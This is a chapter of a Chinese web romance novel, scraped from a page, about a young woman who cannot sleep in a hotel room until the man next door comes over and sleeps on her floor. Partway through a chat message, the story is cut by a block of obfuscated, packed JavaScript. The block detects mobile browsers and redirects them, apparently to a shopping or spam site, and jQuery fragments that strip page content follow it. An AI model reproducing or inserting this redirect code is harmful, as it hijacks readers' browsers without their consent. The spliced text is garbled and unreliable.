糯软弹牙的米粉,加上发酵的酸豆角和酸笋,配上炸过的黄豆和翠绿,一勺蒜蓉和葱,就着卤水拌匀,卤菜粉独有的鲜香扑面而来……
一口嗦进嘴里,唇齿留香,回味无穷。余初阳已经忘记自己在医院里了,连连点头对卤菜粉的肯定。
“好吃……”
话说出来她愣了一下,尴尬地抬头看旁边的人。
只见陈医生笑眯眯地看着她,沈逐云嘴角看得出已经使劲在压了,就连沉浸在悲伤中的谢远也停下筷子,茫然地看她。
啊,尴尬死了,想找个地缝钻进去。
“不、不好意思……”余初阳咽下嘴里的粉,“我没吃过这么好吃的卤菜粉……”
看到余初阳吃得那么香,谢远突然觉得有胃口了,拌匀了米粉开始吃,吃了两口后便狼吞虎咽地嗦起粉来了。
见到谢远开始吃东西了,沈逐云和陈建互看一眼,这才放下心来。
到了晚上,医院不允许那么多人在外面守着,谢远说什么都不愿意离开,和医院要了张折叠床,摊开在角落里。
陈建给沈逐云发信息,说回到羊角村了。
站在酒店前台的沈逐云回复:【好的。】
“先生,跟您确认,是两个单人房吗?”酒店的工作人员问道。
余初阳把身份证递给前台的手一顿,心里想着“是吧”。
沈逐云点头,把两人的身份证一起交给工作人员:“对,两个单人间。”
“好的。”工作人员接过身份证后开始帮办理入住。
拿到房卡上电梯的时候,沈逐云说了句:“难道我们看起来不像是各睡各的?”
“……”
两人的房间是挨着的,沈逐云把房卡递给余初阳。
余初阳接过后,“嘀”的一声把门开了。
沈逐云没有走,而是先进到她的房间,用手机的照了一遍。“出门在外还是小心为上,尤其是你们女孩子。”
这一刻,余初阳感觉到心里暖暖的。
这个男人想得太周到了,她还没想到这一步,沈逐云已经检查好了,绅士地站在门口。
“这是我的微信和手机号码,有什么事给我打电话,几点都可以。”
“几点都可以吗?”
该死的,怎么问出口了?!
“可以。”沈逐云好像是习以为常,“我的手机是二十四小时开机,以防村里的老人有急事联系不上我。”
余初阳:我不想当老人……
“没什么事的话我先过去了,有什么事给我打电话。”沈逐云说着走到门外,“对了,记得反锁。”
“好的。”余初阳讷讷地应着。
沈逐云把门关上后,余初阳乖乖地把门反锁了。
洗完澡后,余初阳拿出手机,张圆圆给她发了好几条信息:
【睡了吗睡了吗?你们住哪里?】
【标间还是大床房?】
【不会都挤在医院的走廊里过夜吧?ICU不能陪床呢。】
余初阳:“……”
想了想,余初阳这才一一回复:
【在医院附近的酒店住一晚。】
【很抱歉,我亲爱的小圆子,我们开了两个房间。】
【你的脑子里能不能别装那些黄色废料?】
信息刚发出去不久,张圆圆立刻回复了,看得出很急切:
【什么?竟然不是标间?阿云哥也太舍得了!】
【孤男寡女共处一室才能有干柴烈火啊。】
余初阳翻了个白眼,手指在键盘上翻飞:
【我今晚才有他的联系方式。】
【你别胡说八道!】
【沈逐云是好人!】
张圆圆发了个狗头的表情:
【算了,不跟你开玩笑了】
【看得出来他确实是好人】
【但是你千万记得不要跟他说‘你是好人啊’,这好人卡咱不兴发哈。】
余初阳正想回复,就看到张圆圆又发了一条信息过来:
【一个人住一个房间,你怕不怕?】
余初阳愣了一下,那些字就像一道雷劈在她头顶上!
环顾四周,窗帘拉上了,看不到外面星星点点的灯火,房间里很安静,说好听点是隔音好,但余初阳却突然起鸡皮疙瘩了。
她……有些害怕了。
【圆圆,你不要再说了,我害怕!】
【你知道我很多年没住酒店了!】
这些年她一直经常宅在家里,从来没有出去旅游过,最远的一次出行是和爸妈去郊外的公园露营,更别提自己一个人住酒店了!
她裹紧了被子,蜷缩在床头,一墙之隔就是沈逐云的房间,这样才能心安一些。
张圆圆的信息再次弹出来:
【早点睡吧,把杯子挂在门把手上。】
余初阳发了个亲亲的表情包:
【好滴,你也早点睡。】
把杯子放在门把手上后,余初阳再次看了一眼这二十多平方的单人间,环境是不错的,况且沈逐云帮她检查过了,应该安全。
回到床上,余初阳打算开着一盏灯睡。
习惯全黑入睡的她怎么样都睡不着,索性把灯全关了。
迷迷糊糊中快要睡过去的时候,突然听到一丝细微的声响,就像是有人在旁边撞到了什么东西!
她猛地睁开眼,心脏突突直跳!
一看手机,凌晨一点二十分……
余初阳逼自己合上眼睡觉,可她再也睡不着了。
感觉旁边哪哪都是“人”……
她知道是自己的心理作用,但她确实无法安心入睡。
就这样,她在床上翻来覆去,最后决定把灯打开,光照亮房间那一刻,她似乎没那么害怕了。
可总不能就这样过一夜吧?
于是她想起沈逐云说的那句话:几点都可以。
她点开沈逐云的微信,输入:【睡了吗?】
打完这几个字,她没有发出去,指尖在屏幕上顿了顿,还是选择了删除。
她纠结且痛苦地用双捂脸,太阳穴抽着疼,精神却紧张起来了,脑子比刚才还要清醒。
完了完了,这夜里怕是睡不着了。
两点十分,她整个人处于懵逼的状态,就像睡前喝了茶多酚超标的奶茶:一边大脑却叫嚣着起来嗨,另一边大脑却弱弱地说要睡觉。
就在她快要崩溃的时候,一条信息弹了出来——
【睡不着?】
一看备注:沈逐云。
“!!!”
他竟然也没睡着?
余初阳像是抓住救命稻草一样:【我失眠了。】
沈逐云回复很快:【认床?】
余初阳想了想,还是如实回道:【
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469607|201405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
害怕,陌生环境我就会这样。】
过了几秒钟,手机没了动静。
睡着了?
余初阳的心逐渐冷下来了。
叹了口气,她到底在期待什么?
孤男寡女,和沈逐云才认识多久,他怎么会……
【我现在过去】
看到这几个字,余初阳瞪大了眼睛!
我滴个老天奶啊!她是不是看错了?
她不敢相信地揉了揉眼睛,心脏怦怦直跳……
接着隐约听到隔壁的关门声。
【方便吗?开门?】
余初阳脑海里全是尖叫!
就在她内心做激烈挣扎的时候,外面安静下来了。
余初阳手指颤颤巍巍地回了个【嗯】。
利索地把内衣穿上,虽然并跟不舒服,但是总比提心吊胆一整夜来得强。
小心翼翼地走到门边,听一下外边的动静,在忐忑中把杯子拿下来,“咔嚓”一声,门开了一条缝。
往外一瞧,沈逐云抱着被子站在门外。
余初阳的脑海里瞬间闪过出春天枯木长出春芽夏季海浪翻涌秋季枫叶翩翩冬季漫天雪花的画面……
“不方便的话我就不进去了。”沈逐云微笑地耸了耸肩。
“啊,方便,方便的。”余初阳退了一步把门打开,让沈逐云进来。
沈逐云还是穿着白T恤天蓝色牛仔裤,整整齐齐地,看起来没睡着。
“你……不会是失眠了吧?”余初阳关上门后问。
“睡不着是正常的,”沈逐云走到床边,“介意我在你旁边打地铺吗?”
好像只能让他打地铺了?毕竟只有一张床……
虽然这床还挺大的。
“是不是太委屈你了?”余初阳为难地站在原地,手足无措。
总不能大方地说:不用打地铺,就睡床上。
女孩子家家的总得有点矜持不是?
余初阳还在头脑风暴的时候,沈逐云已经把野餐垫展开铺好在地上了。
看到这里,余初阳疑惑地眨了眨眼,竟然还随身野餐垫?
沈逐云看到余初阳一脸懵地盯着地上的垫子,不好意思地说:“习惯了,出门或者住酒店必带,以防万一用得到。”
真是够贴心的啊。
余初阳想不出,是什么生活经验让沈逐云这么贴心。
难道又是村里的老人?
明明她记得,谢玲说他没有女朋友。
就这样,沈逐云躺下了,反倒是余初阳还愣愣地站在床尾边。
沈逐云问她:“你不是害怕吗?”
余初阳点头,然后又摇头:“现在不怕了。”
接着自己利索地爬到床上,平躺着,被子扯到了鼻尖下面。
沈逐云像修禅的老者一样平躺,眼睛已经闭上了,双手放在被子上,淡淡地开口:“早点睡吧。”
余初阳立刻闭上眼睛。
可心脏还是砰砰地跳,怎么办?
她不敢侧过身,背对沈逐云似乎不大有礼貌,可面对的话……
余初阳微微侧过头看沈逐云,这不看还好,一看,小鹿乱撞啊!
“关灯。”沈逐云沉声说道。
太像寺庙里清心寡欲的主持了。
余初阳啪地一声把灯熄灭。
这下好了,什么也看不到了,黑漆漆一片。